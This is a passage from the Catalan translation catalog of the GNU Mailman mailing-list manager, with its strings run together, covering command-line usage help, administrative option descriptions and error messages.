             capçalera original.Ignorar  :  %(addr)30sS'estan ignorant els canvis al membre suprimit: %(user)sS'ignorarà el missatge retingut que té una id incorrecta: %(f)sS'ignorarà el missatge no retingut: %(f)sIgnorant parts MIME que no siguin text netAdreça de correu electrònic errònia: %(safeuser)sL'adreça proporcionada es errònia El nom de la llista no és vàlid: %(s)sOpció errònia: %(opt)sImportant %(module)s...Si voleu canviar les vostres opcions de subscripció, haureu d'entrar
    introduint la vostra %(extra)scontrasenya de subscripció a la secció de 
    més avall. En cas que no la recordeu, feu clic al botó de sota i se us 
    enviarà a la vostra adreça electrònica. Si voleu cancel·lar la vostra 
    subscripció, feu clic al botó <em>Cancel·la la subscripció</em> i se us 
    enviarà un missatge de confirmació.

    <p><strong><em>Important:</em></strong> A partir d'aquest punt haureu
    de tenir activades les galetes al navegador o bé els canvis no tindran 
    efecte.
    Incrementa el número de volum de resum i reinicialitza el número de resum a 1.

Forma d'ús: %(PROGRAM)s [opcions] [nomdelallista ...]

Opcions:

    --help/-h
        Mostra aquest missatge d'ajuda i surt.

S'incrementaran totes les llistes especificades a la línia d'ordres. En cas que
no s'especifiqui cap llista, s'incrementaran totes.
Contrasenya inicial de %(listname)s: Llista inicial de llengües disponibles. <p>Teniu en compte que si no
        seleccioneu almenys una llengua inicial, la llista farà servir la
        llengua per defecte del servidor %(deflang)sAdreça inicial del propietari de la llista:Contrasenya inicial de la llista:Les contrasenyes de la llista inicial no coincideixenInjectar un missatge d'un fitxer a la cua d'entrada de Mailman.

Forma d'ús: inject [opcions] [filename]

Opcions:

    -h / --help
        Mostra aquest missatge i surt.

    -l listname
    --listname=listname
        El nom de la llista a la que s'injectarà el missatge. Aquesta opció es requereix.

    -q queuename
    --queue=queuename
        El nom de la cua a la que s'injectara el missatge. El nom de la cua ha de ser
        un dels directoris de qfiles. So s'omet, es fa servir la cua d'entrada (incoming)

filename és el nom del fitxer en text pla del missatge que es vol injectar.
Si s'omet, es fa servir el standard input.
interlinguaInterromput...invàlid :  %(addr)30sCadena de confirmació errònia.
            És possible que estiguis intentant confirmar una sol·licitud
            o una adreça que ja ha estat cancel·lada.Cadena de confirmació errònia.La cadena de confirmació expira
aproximadament %(days)s dies després de la sol·licitud inicial de subscripció. Si la
vostra confirmació ha expirat, per favor, torna a enviar la sol·licitud o missatge original.Opcions no vàlides a l'script CGI.Opcions no vàlides a l'script CGI.L'esquema de contrasenya no és vàlidValor erroni per a la propietat: %(k)sValor erroni de la variable: %(property)sConvida'lsEl fitxer és la font de l'arxiu públic o privat?encara s'està executant el qrunner?Es requereix l'aprovació del moderador per a cancel·lar la
            subscripció de la llista? (<em>No</em> recomanat)italiàgengenerjaponèsjuljulioljunjunycoreàOpcions de&nbsp;llenguaLlengües disponibles per a aquesta llista.Última notificació d'auto-resposta per avuiDeixeu els camps de contrasenya inicial en blanc
               si voleu que Mailman auto-generi la llista
               de contrasenyes .Filtres contra l'spam anticsLlistaCaracterístiques de la llistaHelpbot de la llista:     %(requestaddr)sIdentitat de la llistaPropietaris de la llista: %(owneraddr)sNomés els administradors de la llistaLlistar totes les llistes de correu electrònic.

Forma d'ús: %(program)s [opcions]

on:

    -a / --advertised
        llistar només les llistes de correu electrònic que són anunciades públicament

    --virtual-host-overview=domini
    -V domini
        llistar només les llistes de correu electrònic del domini virtual donat.
        això només funciona si la variable VIRTUAL_HOST_OVERVIEW està establerta.

    -b / --bare
        Mostrar només el nom de llista, sense descripció.

    -h / --help
        Mostra aquest missatge i surt.

Llista tots els subscriptors d'una llista de correu.

Forma d'ús: %(PROGRAM)s [opcions] listname

On:

    --output file
    -o file
        Escriu la sortida al fitxer especificat en lloc de la sortida estàndard.

    --regular / -r
        Mostra només els subscriptors normals (sense lliurament per resum).

    --digest[=tipus] / -d [tipus]
        Mostra només els membres amb lliurament per resum. L'argument opcional 
        pot tenir el valor «mime» o «plain», el qual farà que només es mostrin els 
        subscriptors amb el tipus de resum especificat.

    --nomail[=motiu] / -n [motiu]
        Mostra els subscriptors que tenen el lliurament desactivat. L'argument 
        opcional pot tenir el valor «byadmin», «byuser», «bybounce», o bé «unknown»,
        amb la qual cosa només es mostraran els subscriptors amb el lliurament
        desactivat pel motiu especificat. També pot ser «enabled», cosa que farà
        que només es mostrin els subscriptors amb el lliurament activat.

    --fullnames / -f
        Mostra els noms complets a la sortida.

    --preserve
    -p
        Mostra les adreces dels subscriptors respectant les majúscules i minúscules
        que s'utilitzaren en afegir-los a la llista.
        En cas contrari, totes les adreces es mostraran en minúscules.

    --invalid / -i
        Mostra només les adreces de la llista de subscriptors que no són vàlides.
        Aquesta opció ignorarà les altres opcions -r, -d, -n

    --unicode / -u
        Mostra les adreces que estan emmagatzemades com a objectes Unicode en lloc
        d'estar-ho com a objectes de cadena normals. Aquesta opció ignorarà les
        altres opcions -r, -d, -n

    --help
    -h
        Mostra aquest missatge i surt.

    listname és el nom de la llista a utilitzar.

Tingueu en compte que si no s'especifica cap dels arguments -r o -d, es mostraran
primer ambdós subscriptors normals, seguits dels subscriptors amb resum, però no
s'indicarà l'estat de l'adreça.
Llista tots els amos d'una llista de correu.

Forma d'ús: %(program)s [opcions] listname ...

On:

    --all-vhost=vhost
    -v=vhost
        Llista els amos de totes les llistes de correu per el host virtual donat.

    --all
    -a
        Llista els amos de totes les llistes de correu del sistema.

    --help
    -h
        Mostra aquest missatge i surt.

`listname' és el nom de la llista de correu de la que es vol obtenir el llistat dels amos.
Pots posar més d'un nom a la línia d'ordres.
La llista ja existeix: %(listname)sLa llista ja existeix: %(safelistname)sContrasenya del creador de la llista (autenticació):Només els membres de la llistaAls moderadors (i als administradors de la llista) se'ls envia
            diàriament un recordatori de les peticions pendents
            d'aprovació, com per exemple les subscripcions a una
             llista moderada així com de l'enviament de missatges
             que es retenen per una raó o una altra. Activar aquesta
            opció causa que les notificacions s'enviïn
            immediatament quan arribin noves peticions. Llista les meves altres subscripcionsNom de la llista és requeritEs requereix el nom de la llista.El nom de la llista no pot incloure «@»: %(safelistname)sNom de la llista:        %(listname)sLlista d'adreces que tenen la subscripció prohibida a aquesta
            llista de correu.Llista d'adreces no subscrites els enviaments de les quals
             s'acceptaran automàticament.Llista d'adreces de no-membres de les quals els seus missatges seran
                automàticament descartats.Llista d'adreces de no-membres que seran
            denegades automàticament.Llista d'adreces de no-membres de les quals els seus missatges seran
            immediatament retinguts per a la seva moderació.Contrasenya de la llista:Subscripcions de la llista per %(safeuser)s a %(hostname)sLlista els amos d'una llista de correu, o de totes les llistes de correu.

Forma d'ús: %(PROGRAM)s [opcions] [listname ...]
Options:

    -w / --with-listnames
        agrupar els amos per noms de llista i incloure els noms de les llistes
        D'altra forma, els amos s'ordenaran per l'adreça de correu electrònic.

    -m / --moderators
        Inclou la llista dels moderadors.

    -h / --help
        Mostra aquest missatge d'ajuda i surt.

    listname
        Mostra els amos d'una llista específica. En pots escriure més d'una després
        de les opcions. Si no especifiques cap llista, es mostraran els amos de totes
        les llistes.
Mostra una llista dels esquemes de resum de contrasenyes compatibles i surt
Les etiquetes dels esquemes no distingeixen entre majúscules i minúscules.Llista les paraules clau dels temesPolítiques d'arxivament del tràfic de la llista.text específic a la llista que es posarà al principi del missatge
            de benvinguda enviat als nous subscriptorsLlista:Llista: %(listname)s, 	Amos: %(owners)slituàS'està carregant la llista %(listname)sEntraSurtSurtMIMELliurament de correuCorreu&lt;-&gt;passarel·les&nbsp;de notíciesServeis de passarel·la de correu a notícies i de notícies a correu.Sol·licitud de creació de la llista de correu %(listname)sResultats de la creació de la llista de correuResultats de l'eliminació de la llista de correuSol·licitud de supressió de la llista %(listname)sMailmanAjuda per a l'opció de llista %(varname)s del MailmanS'ha produït un error a la base de dades administrativa del MailmanMailman prefixa les capçaleres <tt>Subject:</tt> amb
             <a href="?VARHELP=general/subject_prefix"> text que es pot
             personalitzar</a> i normalment aquest prefix es mostra en els
             missatges que s'envien a Usenet. Pot posar aquesta opció a
             <em>No</em> per a inhabilitar el prefix en aquests missatges. Per
             suposat, si desactives el prefixat normal del <tt>Subject:</tt>,
             de cap de les maneres es prefixaran els missatges enviats a Usenet. Alerta de privacitat de MailmanEl Mailman no acceptarà l'adreça electrònica especificada com a vàlida.
(P.ex. ha de tenir una @.) Feu els canvis a la secció següent, i feu clic al botó
        <em>Envia els canvis</em> de més avall per a enviar-los.Molts (de fet, la majoria) dels correus spam no anomenen explícitament
              la seva miríada de destinacions - de fet, normalment el camp
              To: té una adreça falsa per a produir confusió. La restricció
              s'aplica només a la part de l'adreça que està davant de la '@', però
              encara així detecta dits correus spam.

              <p>El cost resultant és que la llista no acceptarà sense destorbar
              missatges enviats a altres adreces, a no ser que

              <ol><li> L'adreça tingui el mateix nom, o

             <li> L'adreça estigui entre els alies acceptables per a la llista.
             </ol>marmarçCancel·lació de subscripcions en massaSubscripcions en massaSincronització massivaSincronització massiva completadaCancel·lació&nbsp;en massaSubscripció&nbsp;en massaMida màxima per al cos del missatge en kilobytes (KB). Useu 0
             per a no posar límit.El màxim nombre d'usuaris a mostrar en una pàgina de la
             llista de subscriptors.maigFiltres de membreNom de membre canviat satisfactòriament.Llista de subscriptorsExposició de membres Subscripció reactivada.Llista de&nbsp;subscriptorsAdministració de&nbsp;les subscripcions...Resum del missatge:Capçaleres del missatge:El cos del missatge és massa llarg: %(size)d bytes amb un
límit de %(limit)d KBEl missatge té una capçalera sospitosaEl missatge no va dirigit explícitament a la llistaEl missatge pot contenir sol·licituts administrativesS'ha rebutjat el missatge perquè coincideix amb una regla de filtreModeratModeradorLes contrasenyes del moderador no coincideixendllMensualMés informació: %(listurl)sMou la regla cap a avallMou la regla cap a amuntEs necessari tenir un nom de llista i un nom de fitxerEls enviaments a la llista, Han de tenir el nom de la llista en l'adreça de destinació
            (o que estigui entre els noms d'alies acceptables especificats baix) ?Nom de la llista:Nom:Opcions de la llengua natural (internacionalització).MaiContrasenya nova per a %(listname)s: %(notifypassword)sNova contrasenya %(pwdesc)s: Contrasenya nova per al subscriptor %(member)40s: %(randompw)sSol·licitud de subscripció nova per a la llista %(realname)s de %(addr)sSol·licitud de cancel·lació de subscripció nova a %(realname)s de %(addr)sConfiguració del servidor de notíciesMissatge següent:NoNo s'ha especificat cap adreçaNo s'han donat arguments a -fNo hi ha cap fill amb el pid: %(pid)sNo has donat cap ordre.No s'ha trobat cap ordre en aquest missatge.
Envieu un missatge que contingui només la paraula «help» per a rebre instruccions.
No s'ha especificat cap nom de fitxer.Nom de la llista no proporcionat.No hi ha cap llista amb el nom:No s'ha donat el nom de la llistaNo hi ha llistes per buscarNo s'han trobat llistes de correu que coincideixinNingú pot subscriure's al resum d'aquesta llista!No s'han trobat problemesNo s'ha donat cap motiuNo heu proporcionat cap nom de runner.Sense assumpteLa llista no existeix "%(listname)s"
%(e)sLa llista no existeix (o la llista ja ha estat eliminada): %(listname)sLa llista <em>%(safelistname)s</em> no existeixLa llista no existeix: %(listname)sLa llista no existeix: %(listname)s.  Eliminant els seus fitxers residuals.El membre no existeix: %(addr)sEl membre no existeix: %(safeuser)s.No cal fer cap actualització.No s'ha trobat cap adreça vàlida a subscriureNo s'ha trobat cap nom de variable vàlid.Membres sense resum (normals):Opcions del&nbsp;lliurament sense resumFiltres de no subscriptorsAls no-membres no se'ls permet enviar missatges a aquesta llista.Propietat no estàndard restaurada: %(k)sCapCap - no hi ha passos de verificació (<em>No Recomenat</em>)
                           <br>Confirmar(*) - confirnació de correu electrònic requerida<br>
                            Requerir aprovació - requereix l'aprovació de l'administrador de la llista
                            per les subscripcions<br> Confirmar i aprovar - Confirma i aprova
                            
                            <p>(*) Quan algú es subscriu, Mailman li envia una sol·licitud de confirmació
                             única que ha de contestar per a completar la susbcripció.

                             Això prevé que algun usuari maliciós faci subscripcions d'altra
                             gent sense el seu consentiment.Normalment, Mailman envia els enviaments regulars al servidor de correu
                 en lots. Això és més eficient perquè redueix la quantitat de tràfic
                 entre Mailman i el servidor de correu.

                  <p>No obstant això, algunes llistes poden beneficiar-se de la personalització
                  d'una o més característiques. En aquest cas Mailman construeix un missatge
                  nou per a cada subscriptor regular. Activar aquesta característica, pot
                  degradar el rendiment del seu lloc web, de manera que necessita avaluar els
                  pros i els contres o si existeixen formes alternatives de fer el que vol. S'hauria de monitorizar
                  el rendiment del sistema per a assegurar-se que és acceptable.

                  <p>Seleccioni <em>No</em> per a inhabilitar la personalització i enviar els missatges dels
                  subscriptors en lots. Seleccioni <em>Si</em> per a personalitzar els lliuraments i permetre
                  qualsevol personalització addicional ja sigui en la capçalera o al peu de pàgina dels missatges
                  (vegi més abaix). A més, seleccionant <em>Personalització completa</em>, la capçalera
                  <code>To:</code> dels missatges enviats es modificaran per a reflectir als subscriptors en
                  comptes de l'adreça d'enviament de la llista.

                 <p>Quan la personalització està establerta, es poden incloure més variables d'expansió  a la <a
                 href="?VARHELP=nondigest/msg_header">capçalera del missatge</a> i al
                 <a href="?VARHELP=nondigest/msg_footer">peu de pàgina del missatge</a>.

                Les següents variables de substitució addicionals estaran disponibles per a les capçaleres
                i el peu de pàgina del missatge sempre que aquesta característica estigui habilitada:

                 <ul><li><b>user_address</b> - L'adreça de l'usuari,
                         forçada a minúscules.
                     <li><b>user_delivered_to</b> - L'adreça case-preserved
                         amb la qual el usuari està subscrit.
                     <li><b>user_password</b> - La contrasenya de l'usuari.
                     <li><b>user_name</b> - El nom complet de l'usuari.
                     <li><b>user_optionsurl</b> - L'URL a la pàgina d'opcions de l'usuari.
                 </ul>
                     noruecNo és una adreça vàlida: %(toaddr)sNo autenticatNo s'estan eliminant els fitxers. Re-invoca amb l'opció -a per eliminar-los.No subscritNota: Nota: atès que es tracta d'una llista de distribució que envía a altres llistes de distribució,
les notificacions de recordatori de les contrasenyes s'enviaran a l'adreça
administrativa de la vostra adreça, %(addr)s.Atenció: el lliurament de la vostra llista està desactivat %(reason)s.Res per fer.Avís: han expirat automàticament %(discarded)d sol·licituds antigues.

NotificacionsnovnovembreNombre de dies entre les respostes automàtiques que vagin a la llista
            de distribució o a l'adreça -request/-owner des del mateix remitent.
            Posi'l a zero (o negatiu) perquè no existeixi cap període de gràcia 
            (és a dir, contestar automàticament a cada missatge). octoctubreDesactivatBé, el moderador de la llista encara tindrà
    l'oportunitat d'aprovar o denegar aquest missatge.ActivatUna vegada al mes, se us enviarà la vostra contrasenya per correu electrònic com a recordatori.una de les opcions -i o -o és requeridaEs prendrà una de les accions següents si el missatge coincidex amb alguna
            de les regles de filtrat de contingut, és a dir, que el
            content-type de major nivell coincideixi amb un dels
            <a href="?VARHELP=contentfilter/filter_mime_types"
            >filter_mime_types</a>, o que el content-type de major nivell
            <strong>no coincideixi</strong> amb cap dels
            <a href="?VARHELP=contentfilter/pass_mime_types"
            >pass_mime_types</a>, o si després del filtrat de les subparts
            del missatge, el missatge acaba buit.

            <p>Observi que aquesta acció no es porta a terme si després de el
            filtrat el missatge segueix tenint contingut. En aquest cas el
            missatge sempre s'enviarà a l'adreça de la llista.

            <p>Quan es descartin missatges, s'anotarà un log amb el
             Message-ID del missatge descartat. Quan es rebutgin o s'enviïn
            missatges al propietari de la llista, s'inclourà el motiu del rebuig
            en el missatge enviat. Quan es preserven, els
            missatges es guarden en un directori especial del disc perquè
           l'administrador els vegi (i possiblement recuperi) o descarti en
           cas contrari. Aquesta última opció només està disponible si ho ha
           habilitat l'administrador. Nomes es permet un indicador -fNomés una de les opcions -i o -o es permesaLlista oberta, grup moderatMissatge originalAltres tasques administrativesAltres llistes de correu d'aquest lloc els membres de
             les quals no s'inclouran en el lliurament normal (sense resum)
             si les adreces de les llistes apareixen en una de les
             capçaleres Per a: o Cc:.Altres llistes de correu d'aquest lloc els membres de
             les quals s'inclouran en el lliurament normal (sense resum)
             si les adreces de les llistes apareixen en alguna de les
             capçaleres Per a: o Cc:.Escriu en XML al NOMDELFITXER. Si no s'especifica el NOMDELFITXER, o bé és
«-», s'utilitza la sortida estàndard.Vista general de totes les llistes de correu de %(hostname)sel PID no es pot llegir a: %(pidfile)sNo s'ha modificat la pàgina.Contrasenya // URLHa fallat el canvi de contrasenya.S'ha canviat la contrasenya.Recordatori de la contrasenyaContrasenya canviada satisfactòriament.Contrasenya:Contrasenya: ContrasenyesLa contrasenya no coincideix!Les contrasenyes no coincideixen; no s'ha fet cap canvi.La contrasenya no ha d'estar en blancPatró (com a regexp):Subscripcions pendents:Portar a terme totes les actualitzacions necessaries.

Forma d'ús:: %(PROGRAM)s [options]

Opcions:
    -f/--force
        Forçar l'actualització. Normalment, si el nombre de la versió instalada de
        Mailman coincideix amb la versió actual (o si
        es detecta un `downgrade' ), no es fa res.

    -h/--help
        Mostra aquest text i surt.

Fes servir aquest script per actualitzar a la última versió de Mailma a partir d'una versió
anterior. Reconeix versions fins a la 1.0b4(?).
Bandeja permanentment d'aquesta llistaSuprimeix la llista de correu <em>%(realname)s</em> de forma permanentS'està emmagatzemant l'estat de l'arxiu a Text netSi us plau, no enviïs sol·licitud administratives a la llista de correu.
Si voleu cancel·lar la vostra subscripció, visita %(listurl)s o envia un missatge
amb la paraula `help' a l'adreça de peticions %(request)s per obtenir més instruccions.Introduïu la cadena de confirmació
    (És a dir. la <em>galeta</em> que vau rebre al vostre correu electrònic, i premeu
    el botó <em>Envia</em> per a continuar amb el següent pas de confirmació.Heu d'especifica una de les opcions -p o -m.Redueix la llista de destinataris; és massa llarga.Política referent al tràfic de la llista lliurat immediatament.Polítiques referents al contingut del tràfic de la llista.

            <p>El filtrat del contingut funciona d'aquesta manera: quan la llista
            rep un missatge i ha habilitat el filtrat del contingut, en primer lloc
            es compara cada fitxer adjunt amb els 
            <a href="?VARHELP=contentfilter/filter_mime_types">
            tipus filtrats</a>. Si el tipus del fitxer adjunt coincideix amb algun 
           dels tipus filtrats, es descarta.

            <p>A continuació, si s'han definit <a
            href="?VARHELP=contentfilter/pass_mime_types">tipus permesos</a>
            qualsevol adjunció amb un tipus que <em>no</em> coincideixi amb els 
            tipus permesos també es descarta. Si no s'han definit tipus permesos, 
            s'omet aquesta comprovació.

            <p>Després d'aquest filtratge inicial, qualsevol adjunció <tt>multipart</tt>
            que siguin buits se suprimiran. Si el missatge més extern queda buit 
            després d'aquest filtratge, aleshores es descarta el missatge sencer.

            <p>A continuació, cada secció <tt>multipart/alternative</em>
            es reemplaça per la primera alternativa que no sigui buida després del 
            filtratge si
            <a href="?VARHELP=contentfilter/collapse_alternatives"
            >collapse_alternatives</a> està habilitat.

            <p>Finalment, qualsevol part <tt>text/html</tt> que quedi en el 
            missatge es converteix a  <tt>text/plain</tt> si
            <a href="?VARHELP=contentfilter/convert_html_to_plaintext"
            >convert_html_to_plaintext</a> està habilitat i el servidor està 
            configurat per a permetre aquestes conversions.polonèsConsultar els servidors NNTP per si hi ha missatges per a redireccionar a les llistes de correu.

Forma d'ús: gate_news [opcions]

On les opcions són

    --help
    -h
        Mostra aquest missatge i surt.

portuguèsportuguès (Brasil)Missatge dirigit a una llista privada procedent d'una adreça que no pertany a la llistaEnvia a la llista moderadaL'enviament ha estat cancel·latRemitentEl missatge enviat es retindrà fins la seva aprovacióEnviament del vostre missatge anomenat «%(subject)s»Enviament a un grup de notícies moderatL'enviament del remitent a una llista restringida precisa d'aprovacióEls enviaments de qualsevol d'aquests no subscriptors s'acceptaran 
             automàticament sense necessitat de moderació. Afegiu una
             adreça per línia, i inicieu la línia amb el caràcter ^ per
             a indicar una coincidència amb un una expressió regular.
             Les línies on hi aparegui el caràcter @ seguit del nom
             d'una llista especifiquen una altra llista de correu del
             Mailman daquest lloc, tots els membres de la qual s'acceptaran
             per a aquesta llista.Els missatges de tots aquests no-membres seran automàticament
             descartats. O sigui, el missatge serà eliminat sense més preguntes ni
             notificacions. El remitent no rebrà cap notificació ni cap 
             missatge rebotat, encara que els moderadors de la llista poden, si així ho desitgen
              <a href="?VARHELP=privacy/sender/forward_auto_discards"
             >rebre copies dels missatges auto-descartats</a>.

             <p>Afegeix adreces de membres una per línia; começa la línia amb ^
             per a designar una expressió regular.Els missatges d'aquestos no-membres seran atumàticament denegats. El seu
             missatge rebotarà al remitent amb una notificació automàtica de denegació.
             Aquesta opció no es apropiada per remitents de Spam coneguts; els seus
             missatges haurian de ser
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >automàticament descartats</a>.

             <p>Afegeix adreces de membres una per línia; começa la línia amb ^
             per a designar una expressió regular.Enviaments d'aquestos no-membres seran retinguts per a la seva
            moderació per part dels moderadors de la llista. El remitent
            rebrà una notificació que li permetrà cancel·lar el seu missatge
            retingut. Introdueix les adreces una per línea; comença amb ^
            per designar una expressió regular.Enviaments a:             %(postaddr)sLlengua preferida:Prefixar les capçaleres <tt>Subject:</tt> en els enviaments a les noticies?Prefix per a la línia Tema dels enviaments de la llista.Conserva'lMantingues una còpia del missatge per a l'administrador del llocMantingues els missatges per a l'administrador del lloc.Missatge anterior:Script principal d'inici i parada del dimoni qrunner de Mailman.

Aquest script arrenca, para i reinicia l'encarregat de processar la cua,
assegurat que els distints processos de llarga durada segueixin vius. Això
es fa mitjançant un fork i executant el subprocés qrunner i esperant
segons el seu pid. Quan detecti que un subprocés ha acabat, podria reiniciar-lo. 

Els qrunners responen a SIGINT, SIGTERM, i SIGHUP.  SIGINT i SIGTERM
fan que els qrunners acabin de forma correcta, però el mestre només reiniciarà
els qrunners que hagin acabat amb SIGINT. SIGHUP fa que el mestre i els qrunners
es tanquin de forma adequada els seus fitxers log.

El mestre també respon a SIGINT, SIGTERM, i SIGHUP. El mestre també deixa el seu
propi id de procés al fitxer data/master-qrunner.pid però normalment no e´s necessari
fer servir directament aquets pid. Les ordres `start', `stop', `restart', i `reopen' ho fan tot
per tu.

Forma d'ús: %(PROGRAM)s [opcions] [ start | stop | restart | reopen ]

Opcions:

    -n/--no-restart
        No començar els qrunners si han sortit a causa d'un error o un
        SIGINT.  No són mai reiniciats si surten com a resposta a
        SIGTERM.  Fes servir això només per debugging. Només és útil
        si és dona l'rdre `start'

    -u/--run-as-user
        Normalment aquest script no es voldrà executar si el id de l'usuari i el  del grup
        no estan establerts al usuari i grup  `mailman' (com es va definir quan vas
        configurar Mailman).  Si s'executa com a root, aques script canviara a aquest
        usuari i grup.

        Això pot ser inconvenient per fer proves i debugging, per això la senyal -u
        que el pas que estableix el uid/gid es salta,
        i el programa s'executa amb l'usuari i grup actual. Aquesta senyal no 
        es recomana per a entorns de productivitat.

        Nota que si fas servir la senyal -u i no ets al grup de mailman,
        pots tenir problemes de permisos i no poder borrar un arxiu de llista
        desde la web.

    -s/--stale-lock-cleanup
        Si mailman troba el bloqueig mestre, normalment sorktirà amb un missatge
        d'error. Amb aquesta opció, mailmanctl realitzarà un nivell extra
        de comprovació. Si un porcés coincideix amb el host/pid del
        fitxer de bloqueig que s'està executant, mailmanctl sortira, però no sortirà
        si no es troben processos coincidents, mailmanctl eliminarà els
        bloquejos caducats.

    -q/--quiet
        No mostrar el missatge d'estat. Els missatges d'error si que es mostren.

    -h/--help
        Mostra el missatge i surt.

Ordres:

    start   - Començar el dimoni mestre i tots els qrunners. Mostra un missatge isurt si
              ja s'està executant el dimoni.

    stop    - para el dimoni mestre i tots els qrunners. Després de parar, no es processaran
              mes missatges.

    restart - Reinicia els qrunners, però no el procés mestre. Fes servir això
              quan actualitzis el Mailman aixi els qrunners faran servir
              el nou codi instal·lat.

    reopen  - Això tanca tots els fitxers log, causant la seva reobertura
              la próxima vegada se hi next.
Mostra la versió del Mailman.
Opcions de privacitat...Error de l'arxiu privatError a l'arxiu privat - %(msg)sArxiu privat - no s'adment «./» ni «../» a l'URL.No s'ha trobat el l'arxiu privatProblemes trobats:Processar als subscriptors inhabilitats, es recomana una vegada al dia.

Aquest programa recorre cadascuna de les llistes de distribució buscant aquells
subscriptors que tinguin la recepció del correu desactivada. Si els ha estat desactivat
a causa de rebots, rebran una notificació o se'ls donarà de baixa en cas que les
notificacions rebudes hagin superat el màxim establert.

Utilitzi les opcions --byadmin, --byuser i --unknown per a enviar-li les notificacions
a aquells subscriptors que hagin estat inhabilitats per aquestes raons. Utilitzi l'opció
--all per a enviar-li la notificació a tots els subscriptors inhabilitats.

Sintaxi: %(PROGRAM)s [opcions]

Opcions:
    -h / --help
         Mostra aquest missatge d'ajuda i surt.

    -o / --byadmin
         Enviar-li també les notificacions als subscriptors desactivats pel propietari/moderador.

    -m / --byuser
          Enviar-li també les notificacions als subscriptors que s'hagin desactivat ells mateixos.

    -u / --unknown
         Enviar-li també les notificacions als subscriptors desactivats per raons desconegudes.
         (l'opció per defecte és enviar-li la notificació als subscriptors desactivats degut a missatges rebotats).

    -b / --notbybounce
         No enviar-li notificacions als subscriptors que hagin estat desactivats a causa dels missatges rebotats.

    -a / --all enviar-li les notificacions a tots els subscriptors inhabilitats.

    -f / --force
        enviar-li les notificacions als subscriptors inhabilitats fins i tot si encara no cal eniar-lis.

    -l listname / --listname=listname
        Processar les llistes donades, en cas contrari es processen totes les llistes.
Llistes de correu públiques a %(hostname)s:Funciona amb el PythonTrimestralRFC 2369 defineix el grup de capçaleres de List-* que
                 normalment s'afegeixen a cada missatge enviat a la llista de
                 subscriptors. aquests usuaris agraïts que fan servir lectors de
                 correu standards. Haurien d'estar sempre habilitades.

                 <p>De tota manera, no tots els lectors de correu son standards encara,
                  i si tens molts membres que fan servir lectors de correus d'aquest tipus
                  els hi podrien molestar aqeustes capçaleres. Podries primer mirar d'educar
                  als membres per fer-los entendre per que són aquestes capçaleres i com
                  ocultarles. Com a ultim recurs les pots deshabilitar, però això no es recomana.Re-activar subscripció a la llista de correu.Reactiva la subscripcióRegenera els fitxers d'arxiu del Pipermail comprimits amb gzip.

Aquest script hauria d'executar-se cada nit des del cron. Quan s'executa
des de la línia d'ordres, la sintaxi es la següent:
Forma d'ús: %(program)s [-v] [-h] [nomllistes]

On:
    --verbose
    -v
        mostra el nom del fitxer mentre es comprimeix amb el gzip.

    --help
    -h
        mostra aquest missatge i surt

    listnames
        Opcionalment, comprimeix solament els fitxers .txt de les llistes indicades. Sense
        aquesta opció, es processen totes les llistes que es poden arxivar.

Re-obrint tots els fitxers logRe-executa com %(MAILMAN_USER)s (o root) amb la senyal -f per a fixar Motiu del rebuigMotiu:Reconstruir l'arxiu d'una llista.

Fes servir aquesta ordre per reconstruir els fitxers d'una llista. Voldràs der això
si edites o elimines algun missatge d'un arxiu.

Forma d'ús: %(PROGRAM)s [opcions] <listname> [<mbox>]

On les opcions són:
    -h / --help
        Mostra aquest missatge i surt.

    -q / --quiet
        fer la sortida silenciosa.

    --wipe
        Eliminar l'arxiu original abans de regenerar-lo. Normalment voldràs
        especificar aquest argument a no ser que estiguis generant l'arxiu a
        trossos.

    -s N
    --start=N
        Començar a indexar per l'article  N, on 0 es el primer a mbox.
        per defecte això està a 0.

    -e M
    --end=M
        Acabar d'indexar a l'article M. Aquest script no és molt eficient amb
        l'administració de memòria , i per arxius grans,  no serà possible
        indexar el mbox complet. Per aquesta raó, pots especificar
        la opció per a començar i acabar a un nombre donat d'article.

On <mbox> és la ruta is a l'arxiu mbox de la llista. Normalment això serà
una ruta al directori archives/private .  Ex.:

%% bin/arch mylist archives/private/mylist.mbox/mylist.mbox

<mbox> és opcional. Si no és especificat es calcularà.
Voleu rebre resums?Rebut:Filtres de destinatariFiltres de&nbsp;destinatariRedueix l'espai de disc dels arxius del Pipermail.

Forma d'ús: %(PROGRAM)s [opcions] fitxer ...

On les opcions són les següents:
    -h / --help
        Mostra aquest missatge d'ajuda i surt.

Feu servir aquesta funció només per a «arreglar» els fitxers de base de dades
«-article» dels arxius creats amb el Mailman 2.1.3 o amb versions anteriors i que
continguin atributs «html_body». Aquests atributs poden portar a un ús excessiu
de memòria i causar un impacte molt negatiu en el rendiment de llistes amb
molta activitat, especialment en aquelles que continguin missatges de text
molt llargs.

Exemple:

%% ls -1 archives/private/*/database/*-article | xargs %(PROGRAM)s

Caldrà que executeu l'ordre «bin/check_perms -f» després d'haver executat
aquest script.

Un cop estigueu satisfet amb els resultats podreu suprimir els fitxers
-article.bak que hagi creat aquest script, si així ho voleu.

Aquest script s'inclou només per la seva utilitat i no forma part del Mailman.
Expressió regular:NormalRebutjaRebutjosS'està tornant a carregar l'estat de l'arxiu emmagatzematRecorda-me-laEliminar els adjunts del missatge que no tinguin un tipus de contingut coincident.
            Deixi aquest camp en blanc per a ometre aquesta comprovació del filtre.Elimina els fitxers adjunts que no coincideixin amb una extensió
            de fitxer. Deixeu aquest camp en blanc per a ometre aquesta prova
            de filtre.eliminar els fitxers adjunts als missatges que tinguin aquest
            tipus de contingut.Elimina els fitxers adjunts que coincideixin amb una extensió
            de fitxer.Elimina els components d'una llista de correu amb inpunitat - compte!

Això elimina (gairebé) tot rastre d'una llista de correu. Per defecte, els
arxius de les llistes no són suprimits, el que és molt pràctic per a retirar
llistes velles.
Forma d'ús:
   rmlist [-a] [-h] nomllista

On:
    --archives
    -a
        Suprimeix també els arxius de la llista, o si la llista ja ha estat
        esborrada, suprimeix els arxius residuals.

    --help
    -h
        Mostra aquest missatge d'ajuda i surt.

Eliminat: %(s)sEliminant %(msg)sS'ha refusat la sol·licitud a la llista de correu %(realname)sEl tema sol·licitat no és vàlid: %(topicname)sEs requereix l'aprovacióRe-establir l'atribut web_page_url d'una llista al seu valor per defecte.

Aquest script s'ha d'executar com un script bin/withlist, ex.

% bin/withlist -l -r fix_url listname [opcions]

Opcions:
    -u urlhost
    --urlhost=urlhost
        Cercar el a la taula de virtual host i establir els atributs web_page_url i
        host_name dels valors trobats. Això és  essencial
        per moure llistes d'un domini virtual a un altre.

        Amb aquesta opció es fan servir els valors per defecte de web_page_url i host_name

    -v / --verbose
        Mostra el qeu està fent l'script.

